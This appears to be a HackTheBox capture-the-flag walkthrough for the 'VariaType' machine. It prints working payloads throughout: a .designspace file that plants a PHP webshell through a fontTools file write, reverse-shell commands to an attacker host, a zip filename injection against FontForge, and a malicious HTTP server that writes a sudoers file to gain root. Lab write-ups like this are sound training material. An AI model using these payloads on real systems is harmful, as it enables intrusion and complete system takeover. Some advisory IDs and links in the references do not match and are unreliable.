VariaType - HackTheBox
Last updated July 13, 2026 • 5 min read
Discovery
Port Scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 80/tcp open http nginx 1.22.1 |_http-title: VariaType Labs — Variable Font Generator
HTTP redirects to variatype.htb. Add it to /etc/hosts:
Web Enumeration
The main site at variatype.htb is a variable font generator. The /services page describes fontTools-based CI/CD pipelines — useful context for later. Subdomain enumeration finds an internal portal:
portal [Status: 200, Size: 2494]
portal.variatype.htb presents an "Internal Validation Portal" login page. Directory fuzzing against it immediately reveals an exposed .git directory:
.git/config [Status: 200] .git/HEAD [Status: 200] .git/index [Status: 200] files [Status: 301] index.php [Status: 200]
Initial Access
Git Repository Dump — Credential Leak
Dump the exposed git repository:
753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline 5030e79 feat: initial portal implementation
The diff between commits reveals hardcoded credentials added in the second commit:
+$USERS = [ + 'gitbot' => '$GITBOT_PASSWORD' +];
These credentials authenticate successfully at http://portal.variatype.htb/.
CVE-2025-66034 — fontTools varLib Arbitrary File Write
The font generator at variatype.htb/tools/variable-font-generator accepts a .designspace file and source fonts. CVE-2025-66034 affects fontTools 4.33.0 through 4.60.1: the varLib CLI writes the output font to the path specified in the filename attribute of <variable-font> without any path sanitisation, allowing arbitrary file write to any location the process can write to.
The output file embeds the <labelname> content verbatim into the font's name table. By embedding a PHP webshell payload inside a CDATA block in the labelname, the written file becomes a valid PHP file that executes code on request.
Read the nginx portal config via the LFI found below to determine the web root:
root /var/www/portal.variatype.htb/public;
Craft the malicious .designspace with the output path pointing into the portal web root:
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">Normal</labelname>
</axis>
</axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont"
filename="/var/www/portal.variatype.htb/public/shell.php">
<axis-subsets><axis-subset name="Weight"/></axis-subsets>
</variable-font>
</variable-fonts>
<instances>
<instance name="Display Thin" familyname="MyFont" stylename="Thin">
<location><dimension name="Weight" xvalue="100"/></location>
<labelname xml:lang="en">Display Thin</labelname>
</instance>
</instances>
</designspace>
Generate valid source fonts with setup.py (using fontTools FontBuilder), then submit all three files through the generator form:
The output font is written to shell.php. Confirm code execution:
Trigger a reverse shell:
http://portal.variatype.htb/shell.php?cmd=busybox%20nc%20$ATTACKER_IP%20$ATTACKER_PORT%20-e%20/bin/bash
connect to [$ATTACKER_IP] from variatype.htb www-data@variatype:~/portal.variatype.htb/public$
Path Traversal — LFI on portal download.php
The portal's download.php sanitises ../ sequences but not the ....// double-dot-slash bypass. This allows reading arbitrary files as www-data:
root:x:0:0:root:/root:/bin/bash ... steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
Read the nginx config to discover the portal web root path needed for the CVE:
root /var/www/portal.variatype.htb/public;
Lateral Movement — CVE-2024-25082 (FontForge Zip Command Injection)
As www-data, enumerate running processes with pspy. A script owned by steve runs every few minutes and passes files from the portal uploads directory to FontForge for validation:
UID=1000 | /usr/local/src/fontforge/build/bin/fontforge -lang=py -c
font = fontforge.open('variabype_xxx.ttf')
The installed FontForge version is 20230101 (built 2025-12-07), which is affected by CVE-2024-25082: when opening a ZIP or tar.gz archive, FontForge extracts the archive's table of contents via sh -c tar tfz ... and uses the filename directly in the shell command without sanitisation. A filename containing shell metacharacters executes arbitrary code.
The backup of the processing script is readable at /opt/process_client_submissions.bak, confirming it passes every file in the uploads directory to FontForge regardless of extension.
Craft a ZIP archive with a filename payload that triggers a reverse shell. The payload is base64-encoded to avoid special character issues in the filename:
# Payload: busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash
# Base64: YnVzeWJveCBuYyAxMC4xMC4xNC4xMzMgMTExMyAtZSAvYmluL2Jhc2gK
python3 -c '
import zipfile
with zipfile.ZipFile("/var/www/portal.variatype.htb/public/files/evil.zip", "w") as f:
f.writestr("$(echo YnVzeWJveCBuYyAxMC4xMC4xNC4xMzMgMTExMyAtZSAvYmluL2Jhc2gK|base64 -d|bash).ttf", "")
'
Within two minutes the script fires, FontForge opens evil.zip, and the filename executes:
connect to [$ATTACKER_IP] from variatype.htb steve@variatype:/tmp/ffarchive-109953-1$
Shell as steve. Grab user.txt from /home/steve/.
Privilege Escalation — setuptools PackageIndex Path Traversal (GHSA-5rjg-fvgr-3xxf)
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
The script calls setuptools.PackageIndex().download(plugin_url, PLUGIN_DIR). The PackageIndex.download method in affected versions of setuptools honours a Content-Disposition: attachment; filename= header returned by the server and uses that filename directly as the write path — including absolute paths — without sanitisation. This is an arbitrary file write as root.
Serve a malicious HTTP response that delivers a sudoers payload with a path-traversal filename:
from http.server import HTTPServer, BaseHTTPRequestHandler
PAYLOAD = b'steve ALL=(ALL) NOPASSWD: ALL\n'
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.send_header('Content-Disposition',
'attachment; filename="/etc/sudoers.d/steve"')
self.send_header('Content-Length', len(PAYLOAD))
self.end_headers()
self.wfile.write(PAYLOAD)
def log_message(self, *args): pass
HTTPServer(('0.0.0.0', 1234), Handler).serve_forever()
The URL passed to the script must include #egg=<name>-<version> to satisfy the setuptools parser. URL-encode the filename in the path so the server returns the desired Content-Disposition:
[INFO] Downloading http://$ATTACKER_IP:1234/%2Fetc%2Fsudoers.d%2Fsteve#egg=pwn-1.0.0 [INFO] Plugin installed at: /etc/sudoers.d/steve [+] Plugin installed successfully.
sudo su
whoami
# root
cat /root/root.txt
References
-
NVD: CVE-2025-66034nvd.nist.gov/vuln/detail/CVE-2025-66034 (opens in new tab)
fontTools varLib Arbitrary File Write via malicious .designspace filename attribute
-
GitHub Advisory GHSA-768j-98cg-p3fvgithub.com/advisories/GHSA-2j3h-j2q3-wxp3 (opens in new tab)
fontTools varLib arbitrary file write
-
NVD: CVE-2024-25082nvd.nist.gov/vuln/detail/CVE-2024-25082 (opens in new tab)
FontForge Command Injection via malicious compressed archive filename
-
GitHub Advisory GHSA-2j3h-j2q3-wxp3github.com/fontforge/fontforge/security/advisories/GHSA-2j3h-j2q3-wxp3 (opens in new tab)
FontForge command injection from malicious archives
-
GitHub Advisory GHSA-5rjg-fvgr-3xxfgithub.com/advisories/GHSA-5rjg-fvgr-3xxf (opens in new tab)
setuptools PackageIndex arbitrary file write via Content-Disposition path traversal
-
tool for dumping exposed .git repositories
-
OWASP: Path Traversalowasp.org/www-community/attacks/Path_Traversal (opens in new tab)
filter bypass techniques including dot-dot-slash variants